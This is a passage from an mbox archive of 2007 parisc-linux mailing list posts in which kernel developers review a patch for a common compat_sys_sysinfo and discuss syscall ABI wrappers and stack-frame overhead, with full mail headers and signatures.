	Sun,  7 Jan 2007 16:39:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31889-08; Sun, 7 Jan 2007 16:39:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4DAC7DA45;
	Sun,  7 Jan 2007 16:39:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA4157DA28
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 16:39:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32012-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 16:39:32 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 68B737DA19
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 16:39:32 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 2BCDD494003; Sun,  7 Jan 2007 16:39:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45A181E2.9020609@tausq.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: j7KUdC1ObUkoDenGPWgnDrRkZ2hlN4qB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24228

On Mon, Jan 08, 2007 at 07:27:30AM +0800, Randolph Chung wrote:
> >>I'm sure this has been proposed by someone else?
> >
> >That seems like the same as my suggestion, except for the spelling
> >(syscall vs packed_args).  Did I miss something?
> 
> If you change this now, wouldn't it break existing binaries? I hope we 
> don't end up with some syscalls using one convention and others using a 
> different convention...

Uh, you asked this on IRC and I answered ...

<tausq> if you changed the syscall abi, wouldn't you break all the
existing binaries?
<kyle> not if we kept the old one...
<tausq> ?
<tausq> then how do you implement what willy is talking about?
<willy> tausq: I'm not talking about changing the syscall ABI
<willy> I'm talking about getting rid of our wrappers for, eg,
parisc_truncate64()

We *already* use the "wrong" ABI in glibc.  That's why we have the
parisc_* syscalls.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo (v2)
Date: Mon, 8 Jan 2007 10:43:47 +1100
Lines: 72
Approved: news@gmane.org
Message-ID: <20070108104347.83a004aa.sfr__23643.2677288123$1416624258$gmane$org@canb.auug.org.au>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
	<20070107152213.GC3207@athena.road.mcmartin.ca>
	<20070107154045.GD3207@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1042724951=="
X-Trace: ger.gmane.org 1416624258 22423 80.91.229.3 (22 Nov 2014 02:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:18 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>,
 akpm@osdl.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-arch@vger.kernel.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2007 01:15:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 08 Jan 2007 02:15:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D86127D965;
	Sun,  7 Jan 2007 18:15:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00841-09; Sun, 7 Jan 2007 18:15:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B73E7D96D;
	Sun,  7 Jan 2007 18:15:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93BBB7DA6F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 16:43:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32243-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 16:43:53 -0700 (MST)
Original-Received: from smtps.tip.net.au (chilli.pcug.org.au [203.10.76.44])
	by free.linux.hp.com (Postfix) with ESMTP id CFFDC7DA2B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 16:43:52 -0700 (MST)
Original-Received: from localhost (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id 54272368004;
	Mon,  8 Jan 2007 10:43:48 +1100 (EST)
In-Reply-To: <20070107154045.GD3207@athena.road.mcmartin.ca>
X-Mailer: Sylpheed version 2.3.0beta5 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 07 Jan 2007 18:15:44 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JvLUdmETODBpUrWUfGRMNKQ1Ji9SWtLC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24229

--===============1042724951==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="PGP-SHA1";
	boundary="Signature=_Mon__8_Jan_2007_10_43_47_+1100_m6PjlmpmWyD=I.wq"

--Signature=_Mon__8_Jan_2007_10_43_47_+1100_m6PjlmpmWyD=I.wq
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

Hi Kyle,

Looks good.  Just one nit and one comment.

On Sun, 7 Jan 2007 10:40:45 -0500 Kyle McMartin <kyle@parisc-linux.org> wrote:
>
> diff --git a/kernel/compat.c b/kernel/compat.c
> index 6952dd0..cebb4c2 100644
> --- a/kernel/compat.c
> +++ b/kernel/compat.c
 .
 .
 .
> +	    __put_user (s.uptime, &info->uptime) ||
                      ^
We don't put spaces in here ...

> +asmlinkage long sys_sysinfo(struct sysinfo __user *info)
> +{
> +	struct sysinfo val;
> +
> +	do_sysinfo(&val);
>
> - out:
>  	if (copy_to_user(info, &val, sizeof(struct sysinfo)))
>  		return -EFAULT;

People have complined before that this adds a whole stack frame to the
"normal" syscall path.  Personally I don't care, but it has been
mentioned.

--
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Mon__8_Jan_2007_10_43_47_+1100_m6PjlmpmWyD=I.wq
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFFoYXCFdBgD/zoJvwRAvt5AJ4vBigJICMLJanO+YBo1S+xZzJFEQCfbXi8
TEwHcaCFk6+/ul3Z/RmGpE0=
=fF8z
-----END PGP SIGNATURE-----

--Signature=_Mon__8_Jan_2007_10_43_47_+1100_m6PjlmpmWyD=I.wq--

--===============1042724951==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1042724951==--



From - Thu Nov 08 21:35:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Mon, 08 Jan 2007 09:48:40 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <45A1A2F8.3060505__33091.5855280638$1416624259$gmane$org@tausq.org>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
	<20070107151817.GN24620@parisc-linux.org>
	<119aab440701071422x2041a7b9lf5361c15a001d954@mail.gmail.com>
	<20070107223130.GR24620@parisc-linux.org>
	<45A181E2.9020609@tausq.org>
	<20070107233931.GT24620@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624259 22427 80.91.229.3 (22 Nov 2014 02:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:19 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2007 01:49:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 08 Jan 2007 02:49:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87C427D996;
	Sun,  7 Jan 2007 18:49:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01331-08; Sun, 7 Jan 2007 18:49:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F3757D959;
	Sun,  7 Jan 2007 18:49:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 067027D94A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 18:49:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01309-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 18:49:02 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 31AF57D945
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 18:49:02 -0700 (MST)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1H3jcd-0007NY-3I; Mon, 08 Jan 2007 09:48:23 +0800
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
In-Reply-To: <20070107233931.GT24620@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ddbIdhRoeWU3WK2TZm9nsJwrL0tsZk38
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24230

Matthew Wilcox wrote:
> On Mon, Jan 08, 2007 at 07:27:30AM +0800, Randolph Chung wrote:
>>>> I'm sure this has been proposed by someone else?
>>> That seems like the same as my suggestion, except for the spelling
>>> (syscall vs packed_args).  Did I miss something?
>> If you change this now, wouldn't it break existing binaries? I hope we 
>> don't end up with some syscalls using one convention and others using a 
>> different convention...
> 
> Uh, you asked this on IRC and I answered ...

I didn't see this until later -- stupid timezones.. :)

Now I understand what you are trying to do.... dunno how hard it is to
do it in gcc though.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo (v2)
Date: Mon, 8 Jan 2007 06:54:26 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <200701080654.27100.arnd__43653.8266753361$1416624259$gmane$org@arndb.de>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107154045.GD3207@athena.road.mcmartin.ca>
	<20070108104347.83a004aa.sfr@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624259 22429 80.91.229.3 (22 Nov 2014 02:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:19 +0000 (UTC)
Cc: akpm@osdl.org,
 linux-arch@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 Christoph Hellwig <hch@infradead.org>,
 parisc-linux@lists.parisc-linux.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2007 07:24:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 08 Jan 2007 08:24:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD3207D615;
	Mon,  8 Jan 2007 00:24:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03381-07; Mon, 8 Jan 2007 00:24:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C14897D626;
	Mon,  8 Jan 2007 00:24:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1D8C7D94E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 00:24:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03393-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Jan 2007 00:24:39 -0700 (MST)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.188])
	by free.linux.hp.com (Postfix) with ESMTP id CDBCC7D94D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 00:24:38 -0700 (MST)
Original-Received: from [124.148.6.80] (helo=[192.168.0.44])
	by mrelayeu.kundenserver.de (node=mrelayeu0) with ESMTP (Nemesis),
	id 0MKwh2-1H3orc1MmW-0007AH; Mon, 08 Jan 2007 08:24:18 +0100
User-Agent: KMail/1.9.5
In-Reply-To: <20070108104347.83a004aa.sfr@canb.auug.org.au>
Content-Disposition: inline
X-Provags-ID: kundenserver.de abuse@kundenserver.de
	login:c48f057754fc1b1a557605ab9fa6da41
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8MOWcjFfbGI0QqaDYmRnsgtncmZ1Zhzi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24231

On Monday 08 January 2007 00:43, Stephen Rothwell wrote:
> > +asmlinkage long sys_sysinfo(struct sysinfo __user *info)
> > +{
> > +=A0=A0=A0=A0=A0struct sysinfo val;
> > +
> > +=A0=A0=A0=A0=A0do_sysinfo(&val);
> >
> > - out:
> > =A0=A0=A0=A0=A0=A0if (copy_to_user(info, &val, sizeof(struct sysinfo)))
> > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0return -EFAULT;
>=20
> People have complined before that this adds a whole stack frame to the
> "normal" syscall path. =A0Personally I don't care, but it has been
> mentioned.

It might be a concern for something like 'read' which is called frequently
and in strange ways, but for 'sysinfo' this really should not matter.

	Arnd <><
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo (v2)
Date: Mon, 8 Jan 2007 18:29:33 +1100
Lines: 52
Approved: news@gmane.org
Message-ID: <20070108182933.b8153945.sfr__15191.2164678381$1416624259$gmane$org@canb.auug.org.au>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107154045.GD3207@athena.road.mcmartin.ca>
	<20070108104347.83a004aa.sfr@canb.auug.org.au>
	<200701080654.27100.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0642998112=="
X-Trace: ger.gmane.org 1416624259 22434 80.91.229.3 (22 Nov 2014 02:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:19 +0000 (UTC)
Cc: akpm@osdl.org,
 linux-arch@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 Christoph Hellwig <hch@infradead.org>,
 parisc-linux@lists.parisc-linux.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2007 07:29:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 08 Jan 2007 08:29:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94DD67D999;
	Mon,  8 Jan 2007 00:29:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03660-03; Mon, 8 Jan 2007 00:29:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C21F7D98E;
	Mon,  8 Jan 2007 00:29:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13BA27D987
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 00:29:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03381-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Jan 2007 00:29:24 -0700 (MST)
Original-Received: from smtps.tip.net.au (chilli.pcug.org.au [203.10.76.44])
	by free.linux.hp.com (Postfix) with ESMTP id 50F687D640
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Jan 2007 00:29:24 -0700 (MST)
Original-Received: from localhost (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id B467A368007;
	Mon,  8 Jan 2007 18:29:17 +1100 (EST)
In-Reply-To: <200701080654.27100.arnd@arndb.de>
X-Mailer: Sylpheed version 2.3.0beta5 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6MSScTRuTXs9XKyRbmQ5yLdKRzdyMkOb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24232

--===============0642998112==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="PGP-SHA1";
	boundary="Signature=_Mon__8_Jan_2007_18_29_33_+1100_bWnQA1q=iCU4iHvx"

--Signature=_Mon__8_Jan_2007_18_29_33_+1100_bWnQA1q=iCU4iHvx
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 8 Jan 2007 06:54:26 +0100 Arnd Bergmann <arnd@arndb.de> wrote:
>
> > People have complined before that this adds a whole stack frame to the
> > "normal" syscall path. =A0Personally I don't care, but it has been
> > mentioned.
>
> It might be a concern for something like 'read' which is called frequently
> and in strange ways, but for 'sysinfo' this really should not matter.

Absolutely true.

--
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Mon__8_Jan_2007_18_29_33_+1100_bWnQA1q=iCU4iHvx
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFFofLdFdBgD/zoJvwRAq3sAJ95UYU7B9QntiOwuoCpeSqQyn4/KACgkx4h
bp1COzzonDn88eiRhxqHf8Y=
=4qXW
-----END PGP SIGNATURE-----

--Signature=_Mon__8_Jan_2007_18_29_33_+1100_bWnQA1q=iCU4iHvx--

--===============0642998112==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0642998112==--



From - Thu Nov 08 21:35:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 8 Jan 2007 22:15:01 -0500 (EST)
